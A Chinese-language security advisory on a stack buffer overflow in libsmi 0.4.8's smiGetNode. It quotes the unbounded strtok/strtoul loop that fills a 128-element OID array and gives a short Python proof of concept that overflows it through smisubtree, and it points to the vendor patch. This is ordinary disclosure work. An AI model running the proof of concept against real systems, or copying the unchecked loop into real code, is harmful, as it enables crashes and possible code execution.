受影响系统:
Libsmi Libsmi 0.4.8
描述:
libsmi是用于访问SMI MIB信息的函数库。
如果用户以数字(如1.3.6.1.2.1.4.17)和可读(如ipForwarding)格式提供char *的OID名称,libsmi的smiGetNode函数会返回一个SmiNode结构。该函数使用了包含有128个元素的无符int型静态数组来容纳数组格式的OID:
/—–
SmiSubid oid[128];
– —–/
请注意SmiSubid为无符int型。
如果以char *所提供的OID是由句号所分割的连续数字,先后调用strtok和strtoul的循环就会填充这个数组:
/—–
if (isdigit((int)node2[0])) {
for (oidlen = 0, p = strtok(node2, ". "); p;
oidlen++, p = strtok(NULL, ". ")) {
oid[oidlen] = strtoul(p, NULL, 0);
}
}
– —–/
如果字符串中的node2超过了128个句号,该循环就会越过oid边界,触发经典栈溢出,导致可靠的执行任意代码。
<*来源:Andres Lopez Luksenberg
链接:http://secunia.com/advisories/41841/
http://marc.info/?l=bugtraq&m=128760822910098&w=2
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/python
# run ./smisubtree `./libsmicrash.py`
if __name__ == "__main__":
s = ""
for i in xrange(158):
s = s + "1."
print s}
建议:
厂商补丁:
Libsmi
——
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.ibr.cs.tu-bs.de/projects/libsmi/index.html?lang=de
0 条评论。